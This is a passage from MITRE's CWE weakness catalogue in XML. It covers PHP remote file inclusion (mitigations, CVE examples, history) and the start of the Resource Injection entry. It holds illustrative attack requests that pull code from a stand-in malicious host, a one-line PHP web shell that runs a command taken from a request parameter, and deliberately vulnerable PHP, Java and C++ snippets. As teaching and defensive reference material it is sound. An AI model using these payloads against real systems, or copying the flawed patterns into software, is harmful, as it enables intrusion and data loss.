							to certain system calls or limiting the portion of the file system that
							can be accessed. </Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-17">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Run your code using the lowest privileges that are required to
							accomplish the necessary tasks [R.98.2]. If possible, create isolated
							accounts with limited privileges that are only used for a single task.
							That way, a successful attack will not immediately give the attacker
							access to the rest of the software or its environment. For example,
							database applications rarely need to run as the database administrator,
							especially in day-to-day operations.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-5.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>When validating filenames, use stringent whitelists that limit the
							character set to be used. If feasible, only allow a single "." character
							in the filename to avoid weaknesses such as CWE-23, and exclude
							directory separators such as "/" to avoid CWE-36. Use a whitelist of
							allowable file extensions, which will help to avoid CWE-434.</Text>
						            <Text>Do not rely exclusively on a filtering mechanism that removes
							potentially dangerous characters. This is equivalent to a blacklist,
							which may be incomplete (CWE-184). For example, filtering "/" is
							insufficient protection if the filesystem also supports the use of "\"
							as a directory separator. Another possible error could occur when the
							filtering is applied in a way that still produces dangerous data
							(CWE-182). For example, if "../" sequences are removed from the
							".../...//" string in a sequential fashion, two instances of "../" would
							be removed from the original string, but the remaining characters would
							still form the "../" string.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-34">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Store library, include, and utility files outside of the web document
							root, if possible. Otherwise, store them in a separate directory and use
							the web server's access control capabilities to prevent attackers from
							directly requesting them. One common practice is to define a fixed
							constant in each calling program, then check for the existence of the
							constant in the library/include file; if the constant does not exist,
							then the file was directly requested, and it can exit
							immediately.</Text>
						            <Text>This significantly reduces the chance of an attacker being able to
							bypass any protection mechanisms that are in the base program but not in
							the include files. It will also reduce the attack surface.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-6">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Understand all the potential areas where untrusted inputs can enter
							your software: parameters or arguments, cookies, anything read from the
							network, environment variables, reverse DNS lookups, query results,
							request headers, URL components, e-mail, files, filenames, databases,
							and any external systems that provide data to the application. Remember
							that such inputs may be obtained indirectly through API calls.</Text>
						            <Text>Many file inclusion problems occur because the programmer assumed that
							certain inputs could not be modified, especially for cookies and URL
							components.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-29">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Firewall</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use an application firewall that can detect attacks against this
							weakness. It can be beneficial in cases in which the code cannot be
							fixed (because it is controlled by a third party), as an emergency
							prevention measure while more comprehensive software assurance measures
							are applied, or to provide defense in depth.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Moderate</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>An application firewall might not cover all possible input vectors. In
							addition, attack techniques might be available to bypass the protection
							mechanism, such as using malformed inputs that can still be processed by
							the component that receives those inputs. Depending on functionality, an
							application firewall might inadvertently reject or modify legitimate
							requests. Finally, some manual effort may be required for
							customization.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Develop and run your code in the most recent versions of PHP
							available, preferably PHP 6 or later. Many of the highly risky features
							in earlier PHP interpreters have been removed, restricted, or disabled
							by default.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-16">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>When using PHP, configure the application so that it does not use
							register_globals. During implementation, develop the application so that
							it does not rely on this feature, but be wary of implementing a
							register_globals emulation that is subject to weaknesses such as CWE-95,
							CWE-621, and similar issues.</Text>
						            <Text>Often, programmers do not protect direct access to files intended only
							to be included by core programs. These include files may assume that
							critical variables have already been initialized by the calling program.
							As a result, the use of register_globals combined with the ability to
							directly access the include file may allow attackers to conduct file
							inclusion attacks. This remains an extremely common pattern as of
							2009.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Set allow_url_fopen to false, which limits the ability to include
							files from remote locations. </Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>High</Mitigation_Effectiveness>
					          <Mitigation_Effectiveness_Notes>
						            <Text>Be aware that some versions of PHP will still accept ftp:// and other
							URI schemes. In addition, this setting does not protect the code from
							path traversal attacks (CWE-22), which are frequently successful against
							the same vulnerable code that allows remote file inclusion.</Text>
					          </Mitigation_Effectiveness_Notes>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following code attempts to include a function contained in a
						separate PHP page on the server. It builds the path to the file by using the
						supplied 'module_name' parameter and appending the string '/function.php' to
						it. </Intro_Text>
					          <Example_Body>
						            <Text_Title>victim.php</Text_Title>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Code>$dir = $_GET['module_name'];</Code>
							              <Code>include($dir . "/function.php");</Code>
						            </Block>
						            <Text>The problem with the above code is that the value of $dir is not
							restricted in any way, and a malicious user could manipulate the
							'module_name' parameter to force inclusion of an unanticipated file. For
							example, an attacker could request the above PHP page (example.php) with
							a 'module_name' of "http://malicious.example.com" by using the following
							request string:</Text>
						            <Block Block_Nature="Attack">
							              <Code>victim.php?module_name=http://malicious.example.com</Code>
						            </Block>
						            <Text>Upon receiving this request, the code would set 'module_name' to the
							value "http://malicious.example.com" and would attempt to include
							http://malicious.example.com/function.php, along with any malicious code
							it contains. </Text>
						            <Text>For the sake of this example, assume that the malicious version of
							function.php looks like the following: </Text>
						            <Block Block_Nature="Bad_Code">
							              <Code>system($_GET['cmd']);</Code>
						            </Block>
						            <Text>An attacker could now go a step further in our example and provide a
							request string as follows: </Text>
						            <Block Block_Nature="Attack">
							              <Code>victim.php?module_name=http://malicious.example.com&amp;cmd=/bin/ls%20-l</Code>
						            </Block>
						            <Text>The code will attempt to include the malicious function.php file from
							the remote site. In turn, this file executes the command specified in
							the 'cmd' parameter from the query string. The end result is an attempt
							by tvictim.php to execute the potentially malicious command, in this
							case: </Text>
						            <Block Block_Nature="Attack">
							              <Code>/bin/ls -l</Code>
						            </Block>
						            <Text>Note that the above PHP example can be mitigated by setting
							allow_url_fopen to false, although this will not fully protect the code.
							See potential mitigations.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0285</Observed_Example_Reference>
					          <Observed_Example_Description>Modification of assumed-immutable configuration
						variable in include file allows file inclusion via direct
						request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0030</Observed_Example_Reference>
					          <Observed_Example_Description>Modification of assumed-immutable configuration
						variable in include file allows file inclusion via direct
						request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0068</Observed_Example_Reference>
					          <Observed_Example_Description>Modification of assumed-immutable configuration
						variable in include file allows file inclusion via direct
						request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2157</Observed_Example_Reference>
					          <Observed_Example_Description>Modification of assumed-immutable configuration
						variable in include file allows file inclusion via direct
						request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2162</Observed_Example_Reference>
					          <Observed_Example_Description>Modification of assumed-immutable configuration
						variable in include file allows file inclusion via direct
						request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2198</Observed_Example_Reference>
					          <Observed_Example_Description>Modification of assumed-immutable configuration
						variable in include file allows file inclusion via direct
						request.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0128</Observed_Example_Reference>
					          <Observed_Example_Description>Modification of assumed-immutable variable in
						configuration script leads to file inclusion.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1864</Observed_Example_Reference>
					          <Observed_Example_Description>PHP file inclusion.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1869</Observed_Example_Reference>
					          <Observed_Example_Description>PHP file inclusion.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1870</Observed_Example_Reference>
					          <Observed_Example_Description>PHP file inclusion.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2154</Observed_Example_Reference>
					          <Observed_Example_Description>PHP local file
						inclusion.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1704</Observed_Example_Reference>
					          <Observed_Example_Description>PHP remote file
						include.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1707</Observed_Example_Reference>
					          <Observed_Example_Description>PHP remote file
						include.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1964</Observed_Example_Reference>
					          <Observed_Example_Description>PHP remote file
						include.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1681</Observed_Example_Reference>
					          <Observed_Example_Description>PHP remote file
						include.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2086</Observed_Example_Reference>
					          <Observed_Example_Description>PHP remote file
						include.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0127</Observed_Example_Reference>
					          <Observed_Example_Description>Directory traversal vulnerability in PHP include
						statement.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1971</Observed_Example_Reference>
					          <Observed_Example_Description>Directory traversal vulnerability in PHP include
						statement.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3335</Observed_Example_Reference>
					          <Observed_Example_Description>PHP file inclusion issue, both remote and local;
						local include uses ".." and "%00" characters as a manipulation, but many
						remote file inclusion issues probably have this
						vector.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Affected_Resources>
				        <Affected_Resource>File/Directory</Affected_Resource>
			      </Affected_Resources>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Under-researched and under-reported. Other interpreted languages with
						"require" and "include" functionality could also product vulnerable
						applications, but as of 2007, PHP has been the focus. Any web-accessible
						language that uses executable file extensions is likely to have this type of
						issue, such as ASP, since .asp extensions are typically executable.
						Languages such as Perl are less likely to exhibit these problems because the
						.pl extension isn't always configured to be executable by the web
						server.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <References>
				        <Reference Reference_ID="REF-32" Local_Reference_ID="R.98.1">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Testing for Path Traversal (OWASP-AZ-001)</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-31" Local_Reference_ID="R.98.2">
					          <Reference_Author>Sean Barnum</Reference_Author>
					          <Reference_Author>Michael Gegick</Reference_Author>
					          <Reference_Title>Least Privilege</Reference_Title>
					          <Reference_PubDate>2005-09-14</Reference_PubDate>
					          <Reference_Link>https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-12">
					          <Reference_Author>Shaun Clowes</Reference_Author>
					          <Reference_Title>A Study in Scarlet</Reference_Title>
					          <Reference_Link>http://www.cgisecurity.com/lib/studyinscarlet.txt</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-13">
					          <Reference_Author>Stefan Esser</Reference_Author>
					          <Reference_Title>Suhosin</Reference_Title>
					          <Reference_Link>http://www.hardened-php.net/suhosin/</Reference_Link>
				        </Reference>
				        <Reference>
					          <Reference_Author>Johannes Ullrich</Reference_Author>
					          <Reference_Title>Top 25 Series - Rank 13 - PHP File Inclusion</Reference_Title>
					          <Reference_Publisher>SANS Software Security Institute</Reference_Publisher>
					          <Reference_Date>2010-03-11</Reference_Date>
					          <Reference_Link>http://blogs.sans.org/appsecstreetfighter/2010/03/11/top-25-series-rank-13-php-file-inclusion/</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>PHP File Include</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Malicious File Execution</Mapped_Node_Name>
					          <Mapped_Node_ID>A3</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>Remote File Inclusion </Mapped_Node_Name>
					          <Mapped_Node_ID>5</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>193</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Relationship_Notes, Research_Gaps,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Applicable_Platforms,
						Demonstrative_Examples, Likelihood_of_Exploit, Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal" Modification_Importance="Critical">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>converted from Compound_Element to
						Weakness</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Alternate_Terms, Common_Consequences,
						Detection_Factors, Potential_Mitigations, References,
						Related_Attack_Patterns, Relationships, Taxonomy_Mappings,
						Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">PHP File
						Inclusion</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Insufficient Control of
						Filename for Include/Require Statement in PHP Program (aka 'PHP File
						Inclusion')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="99" Name="Improper Control of Resource Identifiers ('Resource Injection')" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software receives input from an upstream component, but it
					does not restrict or incorrectly restricts the input before it is used as an
					identifier for a resource that may be outside the intended sphere of
					control.</Description_Summary>
				        <Extended_Description>
					          <Text>This may enable an attacker to access or modify otherwise protected system
						resources.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>74</Relationship_Target_ID>
					          <!--Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>706</Relationship_Target_ID>
					          <!--Use of Incorrectly-Resolved Name or Reference-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>73</Relationship_Target_ID>
					          <!--External Control of File Name or Path-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>20</Relationship_Target_ID>
					          <!--Improper Input Validation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>A resource injection issue occurs when the following two conditions are
						met:</Text>
					          <Block Block_Nature="Numeric_List">
						            <Text>An attacker can specify the identifier used to access a system
							resource. For example, an attacker might be able to specify part of the
							name of a file to be opened or a port number to be used.</Text>
						            <Text>By specifying the resource, the attacker gains a capability that would
							not otherwise be permitted. For example, the program may give the
							attacker the ability to overwrite the specified file, run with a
							configuration controlled by the attacker, or transmit sensitive
							information to a third-party server.</Text>
					          </Block>
					          <Text>Note: Resource injection that involves resources stored on the filesystem
						goes by the name path manipulation and is reported in separate category. See
						the path manipulation description for further details of this
						vulnerability.</Text>
				        </Note>
			      </Other_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could gain access to or modify sensitive data or system
							resources. This could allow access to protected files or directories
							including configuration files and files containing sensitive
							information.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>The following Java code uses input from an HTTP request to create a
						file name. The programmer has not considered the possibility that an
						attacker could provide a file name such as "../../tomcat/conf/server.xml",
						which causes the application to delete one of its own configuration
						files.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String rName = request.getParameter("reportName");</Code>
							              <Code>File rFile = new File("/usr/local/apfr/reports/" + rName);</Code>
							              <Code>...</Code>
							              <Code>rFile.delete();</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code uses input from the command line to determine
						which file to open and echo back to the user. If the program runs with
						privileges and malicious users can create soft links to the file, they can
						use the program to read the first part of any file on the
						system.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>ifstream ifs(argv[0]);</Code>
							              <Code>string s;</Code>
							              <Code>ifs &gt;&gt; s;</Code>
							              <Code>cout &lt;&lt; s;</Code>
						            </Block>
						            <Text>The kind of resource the data affects indicates the kind of content
							that may be dangerous. For example, data containing special characters
							like period, slash, and backslash, are risky when used in methods that
							interact with the file system. (Resource injection, when it is related
							to file system resources, sometimes goes by the name "path
							manipulation.") Similarly, data that contains URLs and URIs is risky for
							functions that create remote connections.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Resource Injection</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <White_Box_Definitions>
				        <White_Box_Definition>
					          <Text>A weakness where the code path has:</Text>
					          <Block>
						            <Text>1. start statement that accepts input followed by</Text>
						            <Text>2. a statement that allocates a System Resource using name where the
							input is part of the name</Text>
						            <Text>3. end statement that accesses the System Resource where</Text>
						            <Block>
							              <Text>a. the name of the System Resource violates protection</Text>
						            </Block>
					          </Block>
				        </White_Box_Definition>
			      </White_Box_Definitions>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>10</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>75</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>KDM Analytics</Modifier_Organization>
					          <Modification_Date>2008-08-01</Modification_Date>
					          <Modification_Comment>added/updated white box definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="External">
					          <Modifier>KDM Analytics</Modifier>
					          <Modification_Date>2009-07-17</Modification_Date>
					          <Modification_Comment>Improved the White_Box_Definition</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated White_Box_Definitions</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
